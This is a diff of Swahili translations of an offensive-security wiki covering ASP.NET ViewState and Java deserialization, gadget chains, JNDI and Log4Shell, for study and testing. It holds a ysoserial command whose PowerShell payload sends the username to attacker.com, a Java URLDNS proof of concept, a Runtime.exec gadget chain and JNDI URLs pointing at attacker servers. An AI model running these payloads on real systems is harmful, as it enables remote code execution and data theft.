Mara tu funguo la Mashine halali limepatikana, **hatua inayofuata ni kuunda payload iliyosajiliwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Mara tu funguo halali la Mashine linapopatikana, **hatua inayofuata ni kuunda payload iliyosajiliwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
@ -155,12 +155,12 @@ Ikiwa una thamani ya `__VIEWSTATEGENERATOR` unaweza kujaribu **kutumia** paramet
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Kufanikiwa kwa kutumia udhaifu wa deserialization ya ViewState kutasababisha ombi la nje ya mtandao kwenda kwenye seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa kutumia unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Kufanikiwa kwa kutumia udhaifu wa deserialization wa ViewState kutasababisha ombi la nje ya mtandao kwenda kwenye seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya udhaifu inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi kuhusu jinsi mchakato wa kutumia unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
### Kesi ya Mtihani 6 ViewStateUserKeys inatumika
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **shambulio la CSRF**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa njia zilizojadiliwa hadi sasa, **payload haitashughulikiwa na programu**.\
Unahitaji kutumia parameter moja zaidi ili kuunda payload kwa usahihi:
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **shambulio la CSRF**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda mzigo wa **ViewState** kwa njia zilizojadiliwa hadi sasa, **mzigo hautashughulikiwa na programu**.\
Unahitaji kutumia parameter moja zaidi ili kuunda mzigo kwa usahihi:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```

View File

@ -8,10 +8,10 @@ Darasa `java.net.URL` linafanya `Serializable`, hii inamaanisha kwamba darasa hi
```java
public final class URL implements java.io.Serializable {
```
Hii darasa ina **tabia ya kushangaza.** Kutoka kwenye hati: “**Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP**.”\
Basi, kila wakati kitu cha URL kinapoitwa **yoyote** ya **kazi `equals`** au **`hashCode`** ombi la **DNS** kupata Anwani ya IP lita **tumwa**.
Hii darasa lina **tabia ya kushangaza.** Kutoka kwenye hati: “**Wenyeji wawili wanachukuliwa kuwa sawa ikiwa majina yote ya mwenyeji yanaweza kutatuliwa kuwa anwani sawa za IP**.”\
Basi, kila wakati kitu cha URL kinapoitisha **yoyote** ya **kazi `equals`** au **`hashCode`** ombi la **DNS** kupata Anwani ya IP litakuwa **litatumwa**.
**Kuita** kazi **`hashCode`** **kutoka** kwa kitu cha **URL** ni rahisi sana, inatosha kuingiza kitu hiki ndani ya `HashMap` ambacho kitakuwa kinatatuliwa. Hii ni kwa sababu **mwishoni** mwa kazi ya **`readObject`** kutoka `HashMap` hii nambari inatekelezwa:
**Kuita** kazi **`hashCode`** **kutoka** kwa kitu cha **URL** ni rahisi sana, inatosha kuingiza kitu hiki ndani ya `HashMap` ambacho kitakuwa kinachakatwa. Hii ni kwa sababu **mwishowe** ya **kazi `readObject`** kutoka `HashMap` hii nambari inatekelezwa:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
@ -39,7 +39,7 @@ return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
Kama unavyoona, wakati `URLObject` inatekeleza `.hashCode()`, inaitwa `hashCode(this)`. Kuendelea unaweza kuona msimbo wa kazi hii:
Kama unavyoona, wakati `URLObject` inatekeleza `.hashCode()` inaitwa `hashCode(this)`. Kuendelea unaweza kuona msimbo wa kazi hii:
```java
protected int hashCode(URL u) {
int h = 0;
@ -55,11 +55,11 @@ InetAddress addr = getHostAddress(u);
```
Unaweza kuona kwamba `getHostAddress` inatekelezwa kwa jina la kikoa, **ikizindua ombi la DNS**.
Hivyo, darasa hili linaweza **kutumiwa vibaya** ili **kuanzisha** **ombio la DNS** ili **kuonyesha** kwamba **deserialization** inawezekana, au hata **kutoa taarifa** (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).
Kwa hivyo, darasa hili linaweza **kutumika vibaya** ili **kuanzisha** **ombio la DNS** ili **kuonyesha** kwamba **deserialization** inawezekana, au hata **kutoa taarifa** (unaweza kuongeza kama subdomain matokeo ya utekelezaji wa amri).
### Mfano wa msimbo wa payload ya URLDNS
### Mfano wa msimbo wa URLDNS payload
Unaweza kupata [msimbo wa payload ya URDNS kutoka ysoserial hapa](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Hata hivyo, ili kufanya iwe rahisi kuelewa jinsi ya kuandika, nilitengeneza PoC yangu mwenyewe (kulingana na ile kutoka ysoserial):
Unaweza kupata [msimbo wa URLDNS payload kutoka ysoserial hapa](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Hata hivyo, ili kufanya iwe rahisi kuelewa jinsi ya kuandika, nilitengeneza PoC yangu mwenyewe (kulingana na ile kutoka ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
@ -122,59 +122,59 @@ return null;
}
}
```
### Maelezo zaidi
### Taarifa zaidi
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- Katika wazo la asili, mzigo wa makusanyo ya kawaida ulibadilishwa ili kutekeleza uchunguzi wa DNS, hii ilikuwa na uaminifu mdogo kuliko njia iliyopendekezwa, lakini hii ndiyo chapisho: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
- Katika wazo la asili, mzigo wa makusanyo ya kawaida ulibadilishwa ili kufanya uchunguzi wa DNS, hii ilikuwa na uaminifu mdogo kuliko njia iliyopendekezwa, lakini hii ndiyo chapisho: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
Unaweza kupakua [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) kutoka Duka la Programu la Burp Suite (Extender).
Unaweza kupakua [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) kutoka Duka la Burp Suite (Extender).
**GadgetProbe** itajaribu kubaini kama **darasa la Java lipo** kwenye darasa la Java la seva ili uweze kujua **kama** lina **udhaifu** kwa exploit fulani inayojulikana.
**GadgetProbe** itajaribu kubaini kama **darasa la Java lipo** kwenye darasa la Java la seva ili uweze kujua **kama** lina **udhaifu** kwa exploit inayojulikana.
### Inafanyaje kazi
**GadgetProbe** itatumia **mzigo wa DNS wa sehemu ya awali** lakini **kabla** ya kuendesha uchunguzi wa DNS itajaribu **kufanya deserialization ya darasa lolote**. Ikiwa **darasa lolote lipo**, **uchunguzi wa DNS** uta **tumwa** na GadgetProbe itakumbuka kwamba darasa hili lipo. Ikiwa **ombio la DNS** halijatumwa **kamwe**, hii inamaanisha kwamba **darasa lolote halikufanywa deserialization** kwa mafanikio hivyo labda halipo au **halina uwezo wa kufanywa serial/exploitable**.
**GadgetProbe** itatumia **mzigo wa DNS wa sehemu ya awali** lakini **kabla** ya kuendesha uchunguzi wa DNS itajaribu **kufanya deserialization ya darasa lolote**. Ikiwa **darasa lolote lipo**, **uchunguzi wa DNS** uta **tumwa** na GadgetProbe itakumbuka kwamba darasa hili lipo. Ikiwa **ombio la DNS** halijatumwa **kamwe**, hii inamaanisha kwamba **darasa lolote halikufanywa deserialization** kwa mafanikio hivyo ama halipo au **halitambuliki/haliwezi kutumika**.
Ndani ya github, [**GadgetProbe ina orodha za maneno**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) zenye madarasa ya Java yanayoweza kupimwa.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### Maelezo Zaidi
### Taarifa zaidi
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Scanner
Scanner hii inaweza **kupakuliwa** kutoka Duka la Programu la Burp (**Extender**).\
**Kiongezeo** kina **uwezo** wa **passive** na **active**.
Scanner hii inaweza **kupakuliwa** kutoka Duka la Burp App (**Extender**).\
**Kiongezeo** kina **uwezo** wa **kupita** na **kazi** za **kazi**.
### Passive
### Kupita
Kwa kawaida inachunguza **kwa pasivu** maombi yote na majibu yaliyotumwa **ikiangalia** **bytes za uchawi za Java serialized** na itawasilisha onyo la udhaifu ikiwa yoyote itapatikana:
Kwa kawaida inachunguza **kwa siri** maombi yote na majibu yaliyotumwa **ikiangalia** **baiti za uchawi za Java zilizosajiliwa** na itawasilisha onyo la udhaifu ikiwa yoyote itapatikana:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Active
### Kazi
**Kujaribu kwa Mikono**
**Upimaji wa Mikono**
Unaweza kuchagua ombi, bonyeza kulia na `Send request to DS - Manual Testing`.\
Kisha, ndani ya _Deserialization Scanner Tab_ --> _Manual testing tab_ unaweza kuchagua **nukta ya kuingiza**. Na **anzisha majaribio** (Chagua shambulio linalofaa kulingana na uandishi uliofanywa).
Kisha, ndani ya _Deserialization Scanner Tab_ --> _Manual testing tab_ unaweza kuchagua **nukta ya kuingiza**. Na **anzisha upimaji** (Chagua shambulio linalofaa kulingana na uandishi ulio tumika).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Hata kama hii inaitwa "Kujaribu kwa Mikono", ni **otomatiki** sana. Itakagua kiotomatiki kama **deserialization** ina **udhaifu** kwa **mzigo wowote wa ysoserial** ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaangazia zile zenye udhaifu. Ili **kuangalia** maktaba **zenye udhaifu** unaweza kuchagua kuanzisha **Javas Sleeps**, **sleeps** kupitia **matumizi ya CPU**, au kutumia **DNS** kama ilivyotajwa hapo awali.
Hata kama hii inaitwa "Upimaji wa Mikono", ni **otomatiki** sana. Itakagua kiotomatiki kama **deserialization** ina **udhaifu** kwa **mzigo wowote wa ysoserial** ikichunguza maktaba zilizopo kwenye seva ya wavuti na itaangazia zile zenye udhaifu. Ili **kuangalia** maktaba **zenye udhaifu** unaweza kuchagua kuanzisha **Javas Sleeps**, **sleeps** kupitia **matumizi ya CPU**, au kutumia **DNS** kama ilivyotajwa hapo awali.
**Kufanya Exploit**
**Kutatua**
Mara tu unapokuwa umepata maktaba yenye udhaifu unaweza kutuma ombi kwenye _Exploiting Tab_.\
Katika tab hii unapaswa **kuchagua** **nukta ya kuingiza** tena, na **kuandika** **maktaba yenye udhaifu** unayotaka kuunda mzigo kwa, na **amri**. Kisha, bonyeza tu kitufe cha **Attack** kinachofaa.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Maelezo ya DNS Exfil ya Java Deserialization
### Taarifa za Java Deserialization DNS Exfil
Fanya mzigo wako utekeleze kitu kama ifuatavyo:
```bash

View File

@ -84,7 +84,7 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
Ikiwa unasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka.
Ikiwa utasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka.
Hivyo, **mabadiliko hayo yanachanganywa vipi?**
```java
@ -104,7 +104,7 @@ this.factory = factory;
```
Na kisha tamati kuu inatekelezwa: `lazyMap.get("anything");`
Hii ni nambari ya kazi ya `get`:
Hii ni msimbo wa kazi ya `get`:
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
@ -124,11 +124,11 @@ object = iTransformers[i].transform(object);
return object;
}
```
Hivyo, kumbuka kwamba ndani ya **factory** tulikuwa tumehifadhi **`chainedTransformer`** na ndani ya **`transform`** kazi tunapitia **mabadiliko yote yaliyofungamana** na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba **kila transformer inatumia `object`** **kama ingizo** na **object ni matokeo kutoka kwa transformer ya mwisho iliyotekelezwa**. Kwa hivyo, **mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya**.
Hivyo, kumbuka kwamba ndani ya **factory** tulikuwa tumehifadhi **`chainedTransformer`** na ndani ya **`transform`** kazi tunapitia **mabadiliko yote yaliyofungamana** na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba **kila mabadiliko yanatumia `object`** **kama ingizo** na **object ni matokeo kutoka kwa mabadiliko ya mwisho yaliyotekelezwa**. Hivyo, **mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya**.
### Muhtasari
Mwisho, kutokana na jinsi lazyMap inavyosimamia transformers zilizofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao:
Mwisho, kutokana na jinsi lazyMap inavyosimamia mabadiliko yaliyofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao:
```java
Object value = "someting";
@ -149,11 +149,11 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_Kumbuka jinsi `value` ilivyo ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, ikiruhusu utekelezaji wa mstari mmoja:_
_Kumbuka jinsi `value` ni ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, kuruhusu utekelezaji wa mstari mmoja:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Kumbuka kwamba hapa **ilielezwa vifaa** vinavyotumika kwa **ComonsCollections1** payload. Lakini imeachwa **jinsi yote haya yanaanza kutekelezwa**. Unaweza kuona [hapa kwamba **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), ili kutekeleza payload hii, inatumia kitu cha `AnnotationInvocationHandler` kwa sababu **wakati kitu hiki kinapokewa**, kitafanya **kuitisha** kazi ya `payload.get()` ambayo itatekeleza **payload nzima**.
Kumbuka kwamba hapa **ilielezwa vifaa** vinavyotumika kwa **ComonsCollections1** payload. Lakini imeachwa **jinsi yote haya yanaanza kutekelezwa**. Unaweza kuona [hapa kwamba **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), ili kutekeleza payload hii, inatumia kipande cha `AnnotationInvocationHandler` kwa sababu **wakati kipande hiki kinapokewa**, kitafanya **kuitisha** kazi ya `payload.get()` ambayo itatekeleza **payload nzima**.
## Java Thread Sleep
@ -200,9 +200,9 @@ lazyMap.get("anything");
}
}
```
## Vifaa Zaidi
## Vifaa Vingi Zaidi
Unaweza kupata vifaa zaidi hapa: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
Unaweza kupata vifaa vingi zaidi hapa: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##

View File

@ -4,30 +4,30 @@
## Basic Information
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
### JNDI Naming Reference
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia JNDI Naming References, ambazo zinakuja katika aina mbili:
- **Reference Addresses**: Inaelezea eneo la kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka kwenye anwani iliyoainishwa.
- **Reference Addresses**: Inaelezea mahali pa kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka anwani iliyoainishwa.
- **Remote Factory**: Inaelezea darasa la kiwanda cha mbali. Wakati inapoombwa, darasa linaweza kupakuliwa na kuanzishwa kutoka eneo la mbali.
Hata hivyo, mekanism hii inaweza kutumika vibaya, na hivyo kusababisha upakiaji na utekelezaji wa msimbo usio na mipaka. Kama hatua ya kupambana:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa default kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa default kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.
- **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.
- **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, hivyo kuweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuziliwa mbali, na kusababisha upakiaji wa vitu vya Java visivyo na mipaka au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.
Mifano ya URLs zinazoweza kutumika vibaya ni pamoja na:
Mifano ya URL zinazoweza kutumika vibaya ni pamoja na:
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_
Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa hatua za kulinda dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupuuzilia mbali ulinzi uliopo.
Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa hatua za kulinda dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupita ulinzi uliopo.
### JNDI Example
@ -47,24 +47,24 @@ Kwa hakika, CORBA si hatari kwa asili. Kuhakikisha usalama kawaida kunahusisha:
- Usakinishaji wa **Meneja wa Usalama**.
- Kuunda Meneja wa Usalama ili kuruhusu muunganisho na vyanzo vya msimbo vinavyoweza kuwa na madhara. Hii inaweza kufanywa kupitia:
- Ruhusa za socket, mfano, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
- Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) au kwa directories maalum ambapo faili zenye madhara zinaweza kuwekwa.
- Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) au kwa saraka maalum ambapo faili zenye madhara zinaweza kuwekwa.
Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa default.
Hata hivyo, sera za wauzaji wengine zinaweza kuwa na msamaha na kuruhusu muunganisho haya kwa chaguo-msingi.
### RMI Context
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa usio na mipaka umewekwa mipaka kwa default. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupuuzilia mbali Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa usio na mipaka umewekwa mipaka kwa chaguo-msingi. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
### LDAP
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwenye seva ya LDAP na **kupata sifa zake**.\
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
**Utafutaji** unakusudia **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
Ikiwa utafutaji wa LDAP ulifanywa kwa **SearchControls.setReturningObjFlag() na `true`, basi kitu kilichorejeshwa kitawekwa upya**.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguo hizi.\
Mshambuliaji anaweza **kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii ni kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
Ikiwa unaweza **kufanya programu kutatua JNDI LDAP URL**, unaweza kudhibiti LDAP ambayo itatafutwa, na unaweza kutuma nyuma exploit (log4shell).
@ -83,27 +83,27 @@ Ni rahisi kushambulia LDAP hii kwa kutumia **JavaFactory references**:
## Log4Shell Vulnerability
Udhaifu huu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) nyingi ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java.
Udhaifu huu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya nambari tofauti za [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya default haitumiki.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya chaguo-msingi haitumiki.
Ikiwa **: ipo** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo hatarishi la Log4j linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia pembejeo** na data ambayo mendelevu alionyesha.
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo la Log4j lililo hatarini linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumika sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia pembejeo** na data ambayo mendelezi alionyesha.
## Overview of Log4Shell-Related CVEs
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
Udhaifu huu ni **kasoro ya deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kuanzia 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
Kwanza ilikadiria chini lakini baadaye ilipandishwa kuwa hatari, CVE hii ni **kasoro ya Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha mashambulizi ya DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika matoleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default.
